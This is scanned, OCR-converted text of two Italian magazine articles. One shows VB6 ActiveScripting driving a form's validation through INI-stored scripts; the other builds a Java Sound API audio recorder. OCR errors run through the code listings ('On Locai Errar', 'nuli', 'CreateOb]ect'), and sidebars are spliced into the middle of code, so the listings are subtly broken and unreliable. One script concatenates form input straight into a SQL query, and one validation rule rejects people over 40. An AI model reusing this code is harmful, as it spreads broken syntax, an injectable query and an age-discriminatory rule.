form. Si è scelta questa tecnica per evitare di defini-
re decine di funzione diverse per i vari campi, risol-
vendo il tutto con un semplice select case in cui ogni
controllo viene riconosciuto da un nome simbolico
(ID, EMAIL, ecc. . .). Un'altra interessantissima parti-
colarità è il modo di accedere ai campi del form: si
pensi al contenuto del campo txtld: la sintassi è
Form.txtld.Text. Questo è possibile grazie al fatto che
dallo script è disponibile l'intero form di data entry
identificato dal nome simbolico Form. Ecco come è
stato reso possibile:
ScriptControll.AddObject "Form", Me, True
Con questa istruzione Me (il form corrente) viene
aggiunto tra gli oggetti fruibili dallo script e gli viene
assegnato il nome simbolico Form. Non vi stupirete
ormai più se la deduzione più ovvie è che il form è
un oggetto COM di automazione... Per far si che
questa funzione venga eseguita sul text change, per
ciascuna textbox del form viene definito l'event han-
dler TextChange per ciascuna di essa con il seguente
codice:
Private Sub txtCAP_Change()
ScriptControl 1 . ExecuteStatement
("TextBoxTextChange ""CAP""")
End Sub
L'altro tipo di evento gestito dallo script è la validate
di ogni campo. Per questo ci si affida ad una funzio-
ne come la seguente:
Function TextBoxValidate (textBoxName)
Select Case UCase(textBoxName)
Case "IP":
TextBoxValidate = (txtlP.Text <> "")
Case "EMAIL":
TextBoxValidate = Validator.VerifyEmail(txtEmail.Text)
Case "REPPITO":
TextBoxValidate = Validator.VerifyNumber(txtReddito.Text)
Case Else TextBoxValidate = True
End Select
End Function
In questo caso la funzione viene invocata ad ogni
evento validate dei controlli e di nuovo si tratta di un
evento centralizzato a cui viene passato l'identifica-
tivo simbolico del campo come parametro. Sostan-
zialmente questa funzione differisce dalla prece-
dente perché restituisce un booleano indicante l'av-
venuta validazione del campo. Questo booleano
verrà letto e gestito dall'evento text change di ogni
controllo del form e un eventuale false bloccherà il
focus sul controllo corrente fino a quando non viene
immesso dall'utente un valore valido. Per far questo,
nel form viene definito l'handler dell'evento valida-
te per ciascun campo, nel modo mostrato nell'e-
sempio seguente relativo al campo email:
Private Sub txtEmail_Validate(Cancel As Boolean)
Cancel = Not CBool(ScriptControll.Eval(
"TextBox Va I i date (" "E M AI L"") ") )
GLOSSARIO
LE TYPELIBRARY
Ad accompagnare
IDispatch è stato
introdotto il concetto
di typelibrary, cioè di
un file binario esterno
alla libreria stessa o
incluso in essa, che
descrive interamente le
interfacce
implementate da un
oggetto e discendendi
da IDispatch. Il
vantaggio delle
typelibrary è che al
loro interno, per
ciascun membro
dell'interfaccia,
conservano anche
l'indirizzo preciso
(all'interno della
vtable, cioè dell'indice
degli indirizzi della
classe) del membro
stesso.
http://www.ioprogrammo.it
Dicembre 2003/69 ►
SISTEMA T ■ Scripting Engine
PROBLEMI
CON IL LATE
BiniDIMG
Naturalmente il
controllo dell'esistenza
dei metodi invocati in
late binding non è
verificabile a compile
time, ma solo a
runtime. Si tratta di un
metodo lento e poco
sicuro, ma
straordinariamente
semplice e potente e
l'unico possibile per
linguaggio non
tipizzati come quelli
forniti con la
tecnologia
ActiveScripting che
infatti funziona
proprio così. Se e
quando passerete a
.NET, scoprirete che
questi concetti sono
stati ripresi e
potenziati, ma
sostanzialemnte sono
rimasti gli stessi, solo
che adesso hanno nomi
più "nobili" come
metadati (typelìbrary)
e ref lection {late
binding): non si
inventa mai nulla
ormai...
End Sub
È interessante notare che nello script di esempio,
proprio relativamente al campo txtEmo.il, viene ri-
portata l'istruzione Validator.ValidateEmail a cui
viene passato il contenuto del campo. Evidente-
mente si tratta di un controllo di validità sintattica
dell'email, ma da dove spunta l'oggetto Validator 1 .
Se osservate il sorgente del progetto, troverete la
classe Validator.cls così definita:
Option Explicit
Public Function VerifyDate(ByVal stringDate As String)
As Boolean
On Locai Errar GoTo ErrorHandler
VerifyDate = IsDate(stringDate)
ErrorHandler:
End Function
Public Function VerifyNumber(ByVal stringNumber As
String) As Boolean
On Locai Errar GoTo ErrorHandler
VerifyNumber = IsNumeric(stringNumber)
ErrorHandler:
End Function
Public Function VerifyEmail(ByVal stringEmail As
String) As Boolean
Dim regEx As RegExp
Dim myMatches As MatchCollection
Dim myMatch As Match
On Locai Errar GoTo ErrorHandler
Set regEx = New RegExp
regEx. Pattern = ".*@.*\..*"
Set myMatches = regEx. Execute(stringEmail)
VerifyEmail = (myMatches. Count > 0)
ErrorHandler:
End Function
Si tratta di un banale validatore di campi in grado di
testare la bontà di numeri, date e email (in quest'ul-
timo caso attraverso una regular expression).
Questo oggetto viene istanziato e passato allo script
control che è quindi in grado di utilizzarlo:
ScriptControll.AddObject "Validator", New Validator, Trae
L'idea è appunto quella di evitare di scrivere troppo
codice generico direttamente in VBScript, ma di for-
nire a questo una serie di helper function riutilizza-
bili, in modo da delegare allo scripting solo il codice
legacy. L'ultima funzione di scripting del nostro form
si occupa invece della validazione complessiva dei
dati. Osserviamone il prototipo:
Function FormConfirmation()
FormConfirmation = False
If Trim(Form.txtld.Text) = "" Then
Msgbox "ID mancante!"
Exit Function
End If
If DateDiff("YYYY",
CDate(Form
.txtDataNascita.Text),
Now) > 40 Then
Msgbox "Non sono ammessi
operatori con
superiore ai
età
40 anni!"
Exit Function
End If
FormConfirmation
= True
End Function
Il concetto è che in questa funzione devono essere
verificati i dati presenti nei campi del form nel suo
complesso prima di un eventuale consolidamento
del dato nel database.
LA STRUTTURA
DELLO SKIN DI
SCRIPTING DEL FORM
In Fig. 2 è possibile osservare il nostro form di inse-
rimento dati in esecuzione.
Fino ad ora abbiamo visto come agganciare script
eterogenei a differenti eventi del form, ma essenzial-
mente si tratta di un'operazione un po' confusa e di
difficile attuazione reale perché è necessario ricor-
darsi di caricare numerosi script e di sostituirli di
volta in volta se si intende cambiare il comporta-
mento di validazione. In realtà il form del nostro
programma d'esempio è stato pensato proprio per
supportare molto facilmente questa funzionalità e
per evitare di dover effettuare molte operazioni.
Infatti è sufficiente definire un file .INI strutturato
nel seguente modo:
Saipt da eseguire: fc;
igsMtoVdy DoajmemsSaipSng-VBoWakPynami _-J
Fig. 2: Il nosto form di validazione in esecuzione.
[Options]
ActiveScript=0
Caption = Nessuno script
[Events]
RaiseTextChange=0
RaiseValidate=0
[Scripts]
Option Explicit
Function Init
»> 70/Dicembre 2003
http://www.ioprogrammo.it
Scripting Engine ■ T SISTEMA
Init = True
End Function
Function TextBoxValidate (textBoxName)
TextBoxValidate = True
End Function
Sub TextBoxTextChange (textBoxName)
End Sub
Function FormConfirmation()
FormConfirmation = True
End Function
Sono presenti diverse sezioni. La prima, Options,
semplicemente contiene la proprietà Caption che
indica la natura dello script e la proprietà Active-
Script che se posta a 1 indica che la form deve ese-
guire gli script di validazione, altrimenti se posta a
non verrà eseguito alcunché.
La sezione Events, invece, scende nel dettaglio degli
script di campo da eseguire, infatti RaiseTextChange
ad 1 sta ad indicare che devono essere eseguiti gli
script TextBoxTextChange ad ogni cambiamento del
contenuto di uno dei campi del form, invece
RaiseValidate dice proprio che deve essere eseguito
il TextBoxValidate ad ogni validate sui campi del
form. Infine nella sezione Scripts sono contenuti
proprio i tre script da eseguire. La versione dell'e-
sempio praticamente non esegue alcun controllo. È
da notare la presenza della funzione Init che viene
invocata al caricamento dell'/M proprio per inizia-
lizzare eventuali oggetti o proprietà nello scripting.
Dal button possibile proprio caricare un INI di script
differente secondo la scelta fatta nella combo degli
script presente nel form. La combo presenta tre INI,
ma naturalmente è possibile definirne di nuovi che
rendano ancora più personalizzata la form di inseri-
mento. Ogni volta che si sceglie un nuovo script il
form esegue il seguente codice di caricamento:
ScriptControl 1 . Reset
ScriptControll.AddObject "Validator", New Validator, True
ScriptControll.AddObject "Form", Me, True
IbICaptionScript. Caption = CBGetIni(cbScripts.Text,
"Options", "Caption", "")
mActivateScript = (CBGetIni(cbScripts.Text, "Options",
"ActiveScript", "") = "1")
mActivateTextChange = (CBGetIni(cbScripts.Text,
"Events", "RaiseTextChange", "") = "1")
mActivateValidation = (CBGetIni(cbScrìpts.Text,
"Events", "RaiseValidate", "") = "1")
If mActivateScript Then
ScriptControl l.AddCode ReadIniScript(cbScripts.Text,
"Scripts")
End If
If Not CBool(ScriptControll.Eval("Init")) Then
MsgBox "Errore di inizializzazione dello script!",
vbCritical, "Script manager"
Else
Framel.Enabled
End If
True
Senza troppo addentrarci nei dettagli, possiamo dire
che vengono lette ed impostate le proprietà di inte-
razione con lo script e poi viene caricato l'intero set
di script presente nel file di configurazione.
La versione più interessante è quella contenuta nel
file heauy_scripts.ini. Osserviamone la definizione
completa:
[Options]
ActiveScript=l
Caption=Script di validazione basato su Northwind
[Events]
RaiseTextChange=l
RaiseValidate=l
[Scripts]
Option Explicit
Dim Conn
Function Init
On error resumé next
Set Conn = CreateOb]ect("ADODB. Connection")
Conn. Open = "Provider=Microsoft.Jet.OLEDB.4.0;
Data Source=C:\Documents and Settings\Vito\
My Documents\Scripting-VB6\Disk\DynamicScripting\
NWIND.MDB;Persist Security Info=False"
Conn.CursorLocation = 3
Init = (Err = 0)
End Function
Function TextBoxValidate (textBoxName)
Select Case UCase(textBoxName)
Case "IP":
TextBoxValidate = Validator.VerifyNumber(
txtID.Text)
Case "EMAIL":
TextBoxValidate = Validator.VerifyEmaiI(
txtEmail.Text)
COIVI IIU PRATICA
Osserviamo un esempio Visual Basic
6 di accesso ad un oggetto COM in
early binding. Per l'esempio è
necessario riferire la libreria ADO:
Dim Rs as ADODB.Recordset
Set Rs = New
ADODB.Recordset
Rs.Fields.Append
"codice", 8, 30
L'omologo in late binding, che non
richiede nemmeno la referenziazio-
ne della libreria ADO, sarebbe:
Dim Rs
Set Rs = CreateObject(
"ADODB.Recordset")
Rs.Fields.Append
"codice", 8, 30
Quando viene invocata la
CreateObject, Visual Basic prova ad
effettuare l'instanziazione dell'og-
getto via Progld, cioè attraverso la
stringa simbolica che rappresenta
il nome dell'oggetto nel registry di
Windows. Se l'instanziazione riesce
viene restituito un puntatore ad
una generica interfaccia IDispatch
perché in late binding Visual Basic
non può sapere che
ADODB.Recordset implementa l'in-
terfaccia Recordset.
http://www.ioprogrammo.it
Dicembre 2003/71 ►
SISTEMA T ■ Scripting Engine
SUL WEB
Sezione MSDN relativo
ad ActiveScripting
http://msdn.microsoft.com
/scripting
Indirizzo per i
download di Microsoft
Active Scripting
http://msdn.microsoft.com
/library/default.asp?url=/
downloads/list/webdev.asp
Case "REDDITO":
TextBoxValidate = Validator.VerifyNumber(
txtReddito.Text)
Case Else
TextBoxValidate = True
End Select
End Function
Sub TextBoxTextChange (textBoxName)
Dim Rs
on error resumé next
Select Case UCase(textBoxName)
Case "IP":
Set Rs = CreateObject("ADODB.Recordset")
Rs.Open "select * from employees where
EmployeelD = " & Form, txtld, Text, _
Conn, 2, 3
If Not Rs.EOF Then
Form.txtCognome.Text = "" &
Rs.Fields("LastName").Value
Form.txtNome.Text = "" &
Rs.Fields("FirstName").Value
Form. txtData Nascita .Text = "" &
Rs.Fields("BirthDate' , ).Value
Form. txtlndirizzo. Text = "" &
Rs.Fields("Address").Value
Form. txtCAP. Text = "" &
Rs.Fields("PostalCode").Value
Form.txtStato.Text = "" &
Rs.Fields("Country").Value
Form. txtTelefono. Text = "" &
Rs.Fields("HomePhone").Value
Form. txtEmail. Text = ""
Form. txtReddito.Text = "0"
End If
Rs.Close
Case Else
End Select
End Sub
Function FormConfirmation()
FormConfirmation = False
If Trim(Form.txtld.Text) = ""Then
Msgbox "ID mancante!"
Exit Function
End If
If DateDiff("YYYY", CDate(Form.txtDataNascita.Text),
Now) > 40 Then
Msgbox "Non sono ammessi operatori con età
superiore ai 40 anni!"
Exit Function
End If
FormConfirmation = True
End Function
Questo è l'unico esempio in cui viene gestito lo
script sul text change dei campi del form.
In particolare quando si sta scrivendo nel campo là,
ad ogni carattere digitato si scatena la funzione di
Fig. 3: II form agganciato dinamicamente a
Northwind.
scripting TextBoxTexChange. Questa effettua una
select nella tabella employees del database
Northwind Access e cerca un record con codice
uguale a quello digitato nel campo là; se lo trova
provvede automaticamente a compilare tutti gli altri
campi del form con i campi omologhi del record
selezionato.
L'effetto è davvero efficace e sorprendente. La Fig. 3
mostra il form con i dati completi presi da
Northwind, ma per avere un'idea autentica della
soluzione adottata è necessario provarla in funzio-
ne. La connessione al database viene aperta nella
Init. È interessante anche osservare il FormConfir-
mation che fa un controllo dell'età del soggetto inse-
rito effettuando una DateDiff sul campo data di na-
scita del form.
CONCLUSIONI
L'obiettivo dell'articolo era quello di mostrare le
innumerevoli, quasi infinite, possibilità e soluzio-
ni applicative offerte dall'aggiunta dello scripting
anche nelle normali applicazioni.
L'esempio verteva proprio su un banale form di
immissione di anagrafica soggetti che, grazie a
script esterni, si poteva trasformare in una porzio-
ne di applicazione molto potente ed interessanti.
Per di più nessuno dei comportamenti che lo
script aggiunge alla form sono stati pensati al
momento della creazione della form stessa e nes-
suna modifica al codice di questa è necessaria se
si intende implementare nuove funzionalità: è
sufficiente creare un nuovo file di configurazione
degli script.
Soluzioni come questa, ma anche con architettu-
ra più sofisisticata o semplicemente diversa pos-
sono permettervi di portare le vostre applicazioni
ad un livello di dinamicità mai visto prima con un
impatto sul codice praticamente nullo perché
nulla è definito a livello di sorgente dell'applica-
zione stessa. Adesso non vi resta che mettervi al
lavoro: avete semplicemente uno strumento in
più per farlo bene...
Vito Vessia
► 72/Dicembre 2003
http://www.ioprogrammo.it
Multimedia in Java ■ T SISTEMA
Le Java Sound API in pratica
Realizzare un
audio recorder
In questo articolo approfondiremo ulteriormente lo studio del
package javax. sound. sampled tramite la realizzazione di un
registratore di suoni in linguaggio Java.
In questo articolo continueremo a parlare del
package javax.sound.sampled, incluso nelle JDK
a partire dalla versione 1.3, tramite la realizzazio-
ne di un registrazione di suoni interamente realizza-
to in linguaggio Java. In particolare, spiegheremo il
modo in cui aggiungere al lettore audio descritto nel
precedente articolo le nuove seguenti funzionalità:
• Cattura dell'audio da microfono, con la possibi-
lità di impostare manualmente il formato di
registrazione audio desiderato (frequenza di
campionamento, risoluzione, etc.)
• Riproduzione delle registrazioni effettuate
• Salvataggio della registrazione sotto forma di file
audio con il formato desiderato (WAVE, AIFF,
AU)
• Conversione di un formato di file audio in un
altro formato
• Aggiunta di controlli specifici per la regolazione
della riproduzione audio (volume e pan).
UM REGISTRATORE
DI SUONI IIU JAVA
In Fig.l si può osservare l'interfaccia utente del regi-
stratore di suoni che sarà analizzato in quest'artico-
lo. Nel pannello superiore sinistro appaiono le infor-
me Help
Info mi azioni sul file audio
Nome: regVoce_03.wav
Estensione: wav
Codifica: PCM_SIGNED
Frequenza di campionamento: 44100.0 Hz
Risoluzione: 16 bit
Numero di canali: 2
Ordine dei byte: Little Endian
Durata: 1.5 sec.
Posizione corrente (sec): 1.0
Riproduzione e cattura audio
Opzioni di cattura audio
Nome del file: regVoce_Q3
Codifica: I PCM_SIGNED
Formato del file audio: WAVE
Frequenza di campionamento (Hz): 44100
Risoluzione (brts>: 16
Numero di canali: stereo
Ordine dei byte: little endian
uiMmm
Controlli dì riproduzione audio
rPan-0.0 Gain-
Fig. 1: II registratore di suoni in azione.
mazioni sul file (o sullo stream) audio correntemen-
te aperto, mentre nel pannello destro è possibile
impostare sia le modalità di cattura audio che il no-
me ed il formato audio da assegnare al file da creare.
Nel pannello inferiore sinistro sono presenti i classi-
ci pulsanti per la riproduzione e/o cattura del suono
mentre nel pannello inferiore destro sono stati inse-
riti due controlli per la regolazione del volume e del
pan in fase di riproduzione audio. Nei prossimi pa-
ragrafi vedremo il modo in cui è stato possibile in-
trodurre tutte queste funzionalità all'interno del
registratore di suoni realizzato, grazie all'ausilio
delle Java Sound Api.
CATTURARE L'AUDIO
DA MICROFONO
Per la cattura dell'audio da microfono (azionabile
mediante la pressione del pulsante di registrazione
del pannello "riproduzione e cattura audio") è ne-
cessario innanzitutto specificare il formato audio di
registrazione desiderato, rappresentato dai parame-
tri seguenti:
• frequenza di campionamento (cioè il numero di
campioni audio catturati nell'unità di tempo)
• risoluzione audio (il numero di bit da destinare
per la memorizzazione di un singolo campione)
• numero di canali (modalità di registrazione
mono oppure stereo)
• tecnica di codifica dei campioni audio (SIGNED
PCM,UNSIGNED_PCM, A-LAW, U-LAW)
• Ordine dei byte per la memorizzazione di cam-
pioni a 16 bit (big-endian o little-endian)
Allo scopo, è stato implementato il metodo getAu-
dioFormatO che restituisce un oggetto di ivpo Audio-
Format sulla base delle scelte operate dall'utente
all'interno del pannello di cattura audio. Tale meto-
sf CD gf WEB
SlmAudioRecorderJLzip
PL
'••■■• •
JAVA SOUND
API HOME PAGE
All'indirizzo
http://iava.sun. products/
java-media/sound/
index.html
è presente una sezione
di java.sun.com
dedicata interamente
alle Java Sound Api, da
dove è possibile
scaricare, oltre alla
documentazione
ufficiale (ed alla
esaustiva Java Sound
Api Programmer's
Guide), alcuni utili
esempi dimostrativi.
http://www.ioprogrammo.it
Dicembre 2003/73 ►
SISTEMA T ■ Multimedia in Java
JAVA MEDIA
FRAMEWORK
Per chi non ha la
necessità di impiegare
delle classi a così basso
livello come le Java
Sound Api per la
gestione dei file audio
nelle proprie
applicazioni, potrebbe
risultare più
conveniente ricorrere
al Java Media
Framework, un
package che consente
la gestione di
numerosissimi formati
multimediali (sia audio
che video). Ulteriori
informazioni sul Java
Media Framework si
possono trovare presso
il sito
http://java.sun.com/
prod ucts/java-med ia/
jmf/index.html
■^ do fa uso del costruttore più generale della classe
AudioFormat, avente la seguente intestazione:
AudioFormat(AudioFormat.Encoding encoding,
float sampleRate, int sampleSizelnBits,
int channels, int frameSize, float frameRate,
boolean bigEndian)
In particolare, il valore corretto da assegnare alla
dimensione del frame è il seguente:
frameSize = (sampleSizeInBits/8) * channels
essendo la dimensione del frame pari - per defini-
zione - al numero totale di byte necessari per rap-
presentare un istante di segnale sonoro. Una volta
impostato il formato audio desiderato, si deve crea-
re un oggetto di tipo TargetDataLine. Per far ciò, è
necessario innanzitutto istanziare un nuovo oggetto
di tipo DataLine.Info in cui specificare il tipo di linea
che si desidera creare (nel nostro caso una Target-
DataLine) ed formato audio che quella linea dovrà
gestire:
AudioFormat tmpAf = getAudioFormatQ;
DataLine.Info info = new DataLine.Info(
TargetDataLine. class, tmpAf);
if (! AudioSystem. isLineSupported(info))
// altro codice di gestione dell'eccezione
return;
{
System. out.println("La linea " + info + " non e'
supportata.");
// altro codice di gestione dell'eccezione
return;
}
Prima di creare una nuova linea è bene chiudere
tutte le altre linee eventualmente aperte per evitare
l'insorgere di una LineUnavailableException. Relati-
vamente al nostro caso, è possibile ad esempio che
la linea Clip 'mySound' - impiegata nel processo di
riproduzione audio - sia correntemente aperta. Ecco
allora un modo corretto per chiuderla:
if (mySound!=null && mySound.isOpen())
{mySound.closeO;}
A questo punto, è finalmente possibile creare ed
aprire la nuova linea TargetDataLine, nel modo se-
guente:
try{
targetDataline = (TargetDataLine)
AudioSystem. getLine(info);
targetDataline. open(tmpAf);
} catch (LineUnavailableException ex) {
System. out.println("Impossibile aprire la linea:
" + ex);
ex.printStackTrace();
}
In particolare, per aprire una TargetDataLine è
necessario specificare (come parametro del metodo
openQ) almeno il formato audio da gestire
(AudioFormat tmpAf) . In tal caso, viene automatica-
mente generato un buffer interno alla linea - con
una dimensione di default - per la memorizzazione
temporanea di un certo numero di campioni audio
catturati. Per risalire a tale numero è sufficiente
invocare il metodo getBufferSizeQ che restituisce il
numero massimo di byte che possono essere gestiti
di volta in volta dal buffer. Volendo, è anche possibi-
le specificare una dimensione arbitraria per tale buf-
fer, mediante l'utilizzo del metodo open(AudioFor-
mat format, int buffer Jength). Nello scegliere una
dimensione (specifica per il buffer interno ad una
linea), bisogna tener conto dei seguenti fattori:
In generale, comunque, non dovrebbe essere neces-
sario, a meno di esigenze particolari, impostare
manualmente la dimensione del buffer interno di
una TargetDataline. Per far partire la fase di cattura
audio (in altre parole l'aggiornamento del buffer
interno della linea con i nuovi campioni audio) è
necessario invocare il metodo targetDataline.startO-
A questo punto è necessario recuperare di volta in
volta i campioni audio correntemente memorizzati
nel buffer. Per far ciò è necessario ricorrere al meto-
do targetDataline.read(data, 0,bufferLengthInBytes)
che trasferisce i prossimi bufferLengthlnBytes byte
dal buffer interno all'array di byte data. Infine è pos-
sibile impiegare un oggetto ByteAnayOutputStream
per aggiungervi di volta in volta i byte appena letti.
Quanto detto è realizzabile tramite le seguenti righe
di codice:
class Capture implements Runnable {
Thread thread;
TargetDataLine targetDataline = nuli;
public void start() {
thread = new Thread(this);
thread. startQ;}
public void stop() {
thread = nuli;}
public void run() {
/* Inserire qui il codice per la creazione e apertura
della targetDataLine */
[■■■]
/* Codice per la cattura dei campioni tramite la
targetDataLine: */
ByteArrayOutputStream out = new
ByteArrayOutputStream();
int frameSizelnBytes = tmpAf.getFrameSize();
int bufferLengthlnFrames =
targetDataline. getBufferSize() / 8;
int bufferLengthlnBytes = bufferLengthlnFrames *
»> 74/Dicembre 2003
http://www.ioprogrammo.it
Multimedia in Java H ▼ SISTEMA
frameSizelnBytes;
byte[] data = new byte[bufferLengthInBytes];
int numBytesRead;
targetDataline.start();
while (thread!=null) {
if((numBytesRead = targetDataline.read(data, 0,
bufferLengthlnBytes)) = = -1) {break; }
out.write(data, 0, numBytesRead);
}
Innanzitutto, si noti come la dimensione dell'array
data sia stata scelta pari ad una frazione di quella del
buffer. Questo accorgimento è importante poiché,
nel caso si scelga di assegnare all'array data una
dimensione esattamente pari a quella del buffer
interno, potrebbe capitare che qualche campione
audio non venga catturato, in quanto il sistema
potrebbe non fare in tempo ad aggiornare comple-
tamente l'array data prima di aggiornare nuova-
mente il buffer interno.
Relativamente al metodo:
numBytesRead = targetDataline.read(data, 0,
bufferLengthlnBytes))
bisogna poi assicurarsi che il numero di byte letti ad
ogni sua chiamata (che è anche il valore restituito da
tale metodo) rappresenti un numero intero di frame
di campioni audio. In altre parole, deve essere ri-
spettata la seguente condizione:
[ bytes read ] % [frame size in bytes ] ==
Perchè questo vincolo venga sempre rispettato è
sufficiente che il numero dei byte da leggere di volta
in volta sia un multiplo intero della dimensione (in
byte) di un singolo frame. Da quanto detto si può
comprendere il motivo del seguente assegnamento:
int bufferLengthlnBytes = bufferLengthlnFrames *
frameSizelnBytes;
Si noti poi come la fase di lettura dei campioni audio
sia stata racchiusa all'interno di un ciclo while, per
consentire una acquisizione continua dei campioni
audio. Infine, è bene che l'intero processo di cattura
venga inserito in un thread separato dell'applicazio-
ne, in maniera tale che un altro thread esterno ad
esso possa intervenire per arrestarne il processo di
acquisizione. Nel caso dell'applicazione realizzata,
in seguito alla pressione del pulsante di stop del
pannello di "riproduzione e cattura audio", viene
invocato metodo stopO della classe Capture, il qua-
le a sua volta impone thread = nuli, che provoca
l'immediata fuoriuscita dal ciclo while. Una volta
terminata l'acquisizione audio, è bene ricordarsi di
stoppare la linea (che altrimenti continuerebbe inu-
tilmente ad acquisire campioni dall'esterno) e chiu-
derla, nel modo seguente:
targetDataline.stopO;
targetDataline.close();
COME RIPRODURRE
LE REGISTRAZIONI
AUDIO EFFETTUATE
Per riprodurre una registrazione audio è necessario
creare un oggetto AudioInputStream ais contenente
tutti i campioni precedentemente catturati. Per far
ciò è possibile ricorrere all'oggetto ByteArrayOut-
putStream out (impiegato in fase di cattura audio) e
procedere come segue:
byte audioBytes[] = out.toByteArray();
ByteArraylnputStream bais = new
ByteArraylnputStream(audioBytes);
AudioFormat tmpAf = getAudioFormat();
int frameSizelnBytes = tmpAf.getFrameSize();
ais = new AudioInputStream(bais,tmpAf,
audioBytes.length / frameSizelnBytes);
In particolare, per la creazione del nuovo oggetto
AudioInputStream, si è fatto uso del seguente co-
struttore:
public AudioInputStream(InputStream stream,
AudioFormat format,
long length)
dove il parametro length indica la lunghezza dello
stream da creare in termini di numero di frame.
A questo punto, non rimane che aggiornare la Clip
di riproduzione audio con il nuovo AudioInput-
Stream ais, mediante l'invocazione del metodo set-
ClipFromAudioInputStreamO, descritto nei dettagli
nel precedente articolo sul player multimediale in
Java, al quale si rimanda per ulteriori delucidazioni.
COME SALVARE
UM FILE AUDIO
La scrittura di un file audio tramite gli strumenti
messi a disposizione dalle Java Sound API è un'ope-
razione molto semplice: in pratica basta invocare il
metodo writeQ della classe AudioSystem passando-
gli, nell'ordine, i seguenti parametri:
• Un oggetto AudioInputStream, contenente i
campioni audio veri e propri
• Un oggetto AudioFileFormat.Type, indicante il
formato di file audio (AIFF.AU, WAV,SND)
• Un oggetto File, sul quale verrà scritto il nuovo
file audio.
LA CLASSE
AUDIOSYSTEM
La classe AudioSystem
del package
javax.sound.sampled
contiene dei metodi
che consentono, fra le
altre cose, sia di
indagare sulle
conversioni di formato
di file audio
supportate dal proprio
sistema, sia di
effettuare nella pratica
tali conversioni.
http://www.ioprogrammo.it
Dicembre 2003/75 ►
SISTEMA T ■ Multimedia in Java
LA CLASSE
ASTRATTA
CONTROL
Il modo più facile ed
immediato per
modificare la resa
sonora di un segnale
audio è ricorrere ai
cosiddetti "controlli" -
rappresentati dalle
classi Control insieme
alle sue derivate
BooleanControl,
FloatControl,
EnumControl - di cui
può essere dotata
ciascuna linea. Ad
esempio, tutte le linee
di tipo SourceDataLine e
Clip sono generalmente
dotate di controlli di
tipo
FloatControl. Type.MASTE
R_GAINe
FloatControl. Type.PAN
per la regolazione,
rispettivamente, del
volume e del pan (cioè
la distribuzione del
suono fra gli
altoparlanti destro e
sinistro) in fase di
riproduzione audio.
Il metodo seguente consente la creazione di un file
audio di formato arbitrario, e restituisce true solo nel
caso in cui l'operazione sia stata conclusa con suc-
cesso:
public boolean saveAudioFile(AudioInputStream ais,
AudioFileFormat.Type fileType, File file) {
if (ais == nuli) {
System. out.println("Non esiste alcun segnale audio
da salvare");
return false; }
try {
if (AudioSystem. write(ais, fileType, file) == -1) {
throw new IOException("Problemi nella scrittura
del file");}
} catch (IOException ex) { System. out.println(ex);
return false; }
return true;}
Nell'applicazione di esempio, per salvare le proprie
registrazioni sotto forma di file audio è sufficiente
selezionare, dal menu principale, il percorso File/
Salva file audio. A quel punto apparirà una finestra
di dialogo apposita dotata di un filtro in grado di
consentire la visualizzazione dei soli file con la stes-
sa estensione (WAV, AIFF, AU o SND) di quella sele-
zionata dall'utente nel pannello delle opzioni di cat-
tura audio. A quel punto basterà cliccare sul pulsan-
te "salva" per la creazione del file audio vero e pro-
prio.
CONVERSIONE
FRA DIVERSI
FORMATI AUDIO
Abbiamo visto in precedenza come l'utente abbia la
facoltà di impostare a suo piacimento il formato
audio per le proprie registrazioni, mediante l'utiliz-
zo del pannello delle opzioni di cattura audio (vedi
Fig. 1). Tuttavia, tale pannello può anche servire nel
caso si voglia salvare un file audio con un formato
diverso da quello della registrazione (o del file) cor-
rente. Ad esempio, l'utente potrebbe avere la neces-
sità di salvare una propria registrazione (o un file)
audio con una frequenza di campionamento diffe-
rente da quella attuale. Le seguenti righe di codice
mostrano come utilizzare i metodi offerti dalla clas-
se AudioSystem sia per verificare il supporto di una
eventuale conversione, che per effettuare, nel caso
ciò sia possibile, l'operazione di conversione vera e
propria.
/* Indaghiamo sul formato audio correntemente
selezionato dall'utente all'interno del pannello
* delle opzioni di cattura audio: */
AudioFormat tmpAf = getAudioFormat();
/*Se il formato audio selezionato dall'utente non
coincide con quello dello stream audio corrente*/
if (!tmpAf.matches(ais.getFormat()))
{ System. out.println("Tentativo di conversione di
formato audio...");
if (AudioSystem. isConversionSupported(
tmpAf,ais.getFormat())) {
ais = AudioSystem. getAudioInputStream(
tmpAf,ais);
System. out.println("Conversione di formato
eseguita");}
else
System. out.println("Conversione di formato
non effettuata\n"+
"in quanto non ancora supportata dal sistema"); }
else System. out.println("Conversione di formato
non necessaria");
Una volta ottenuto l'aggiornamento del proprio
AudioInputStream ais, si può ad esempio invocare
metodo saveAudioFileQ descritto nel paragrafo pre-
cedente per la creazione di un file audio con il nuovo
formato.
COME MODIFICARE
IL SEGNALE AUDIO
Nel caso si desideri cambiare in qualche modo l'a-
spetto del proprio segnale audio, è possibile operare
in due modi diversi:
• Ricorrendo alle tecniche di elaborazione del se-
gnale digitale (audio DSP). L'inclusione di op-
portuni algoritmi di elaborazione dell'audio di-
gitale nelle proprie applicazioni Java risulta par-
ticolarmente agevole grazie alla possibilità,
introdotta dalle Java Sound API, di poter operare
direttamente sui singoli campioni audio sotto
forma di array di byte.
• Ricorrendo ai cosiddetti "controlli" messi a
disposizione dalle linee (rappresentati dalla clas-
se Control insieme alle sue derivate FloatCon-
trol, BooleanControl, EnumControl e Com-
poundControl. Tipici controlli legati alle linee
sono la regolazione del volume, del pan e del
riverbero.
Esistono diversi tipi di controlli, rappresentati da
varie classi (tutte sottoclassi astratte della classe
astratta Control], a seconda della tipologia di con-
trollo da impiegare. In particolare, ciascuna sotto-
classe di Control ha una corrispondente sottoclasse
Control. Type, che include istanze statiche che iden-
tificano un controllo specifico. Nel dettaglio abbia-
mo le seguenti tipologie di controlli:
BooleanControl - rappresenta quei controlli che
possono assumere solo due valori (true o false). Ad
». 76/Dicembre 2003
http://www.ioprogrammo.it
Multimedia in Java ■ T SISTEMA
esempio, un tipico controllo di questo tipo è quello
dell'impostazione dello stato di attivazione e disatti-
vazione dell'audio [BooleanControl.Type.MUTE) .
FloatControl - rappresenta tutti quei controlli che
possono assumere dei valori continui all'interno di
un certo range, come il pan (in altre parole la distri-
buzione del suono fra l'altoparlante destro e quello
sinistro) ed il volume (FloatControl.Type.PAN e
FloatControl. Type.MASTER_GAIN)
EnumControl - consente all'utente di scegliere fra
un numero finito di configurazioni di valori per un
determinato controllo (fino ad ora, l'unico controllo
di questo tipo che sia stato implementato è quello
del riverbero EnumControl. Type.REVERB) . Ad esem-
pio, se si volesse introdurre nella propria applicazio-
ne dei particolari effetti di riverbero, l'utente potreb-
be scegliere fra una serie di configurazioni di valori
per tale effetto così da simulare diversi ambienti,
come quello di un garage, di una caverna o di un
laboratorio acustico.
